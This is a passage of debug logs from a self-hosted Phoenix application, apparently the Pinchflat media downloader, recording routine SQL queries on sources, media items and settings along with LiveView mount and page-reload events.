m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:01:57.239 [debug] QUERY OK source="tasks" db=0.3ms idle=467.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 23:01:57.240 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=465.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [114] 23:01:57.241 [debug] QUERY OK source="settings" db=0.5ms idle=188.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:57.241 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:57.242 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:57.244 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:01:57.245 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:01:57.246 [debug] QUERY OK source="media_items" db=0.9ms idle=4.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:01:57.247 [debug] QUERY OK source="sources" db=0.2ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:01:57.248 [debug] QUERY OK source="media_items" db=0.2ms idle=5.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:01:57.249 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:01:57.250 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:01:57.251 [debug] QUERY OK source="media_items" db=0.3ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:01:57.252 [debug] QUERY OK source="media_items" db=0.6ms idle=3.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:01:57.253 [info] Sent 200 in 16ms 23:01:57.424 [info] CONNECTED TO Phoenix.LiveView.Socket in 64µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DHxrGhtFKiQmDjoLPn4KZQhAQWdGcB8HC51xZ6ymaaPEW6C7R1u344yB", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:01:57.446 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending", "source_id" => 1} 23:01:57.446 [debug] QUERY OK source="sources" db=0.2ms idle=198.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:01:57.447 [debug] QUERY OK source="media_items" db=0.5ms idle=198.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:01:57.449 [debug] QUERY OK source="media_items" db=0.8ms idle=197.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:01:57.449 [debug] Replied in 2ms 23:01:57.450 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded", "source_id" => 1} 23:01:57.450 [debug] QUERY OK source="sources" db=0.2ms idle=198.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:01:57.451 [debug] QUERY OK source="media_items" db=0.1ms idle=198.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:01:57.451 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:01:57.451 [debug] Replied in 1ms 23:01:57.454 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "other", "source_id" => 1} 23:01:57.455 [debug] QUERY OK source="sources" db=0.3ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:01:57.456 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:01:57.457 [debug] QUERY OK source="media_items" db=0.9ms idle=5.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:01:57.457 [debug] Replied in 2ms 23:01:57.458 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:01:57.458 [debug] Replied in 189µs 23:01:59.001 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.703 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:01.537 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 23:02:01.537 [debug] Replied in 267µs 23:02:01.539 [debug] QUERY OK source="media_items" db=1.0ms idle=1474.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:02:01.540 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=835.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:02:01.540 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=479.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:02:01.541 [debug] QUERY OK source="media_items" db=1.5ms idle=475.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:02:01.543 [debug] QUERY OK source="media_items" db=2.9ms idle=477.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:02:01.543 [debug] QUERY OK source="media_items" db=2.8ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:02:03.275 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 23:02:03.275 [debug] Replied in 284µs 23:02:03.277 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=211.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:02:03.278 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=213.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:02:03.278 [debug] QUERY OK source="media_items" db=2.2ms queue=0.2ms idle=211.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:02:03.279 [debug] QUERY OK source="media_items" db=1.9ms idle=212.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:02:03.281 [debug] QUERY OK source="media_items" db=3.0ms idle=213.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR 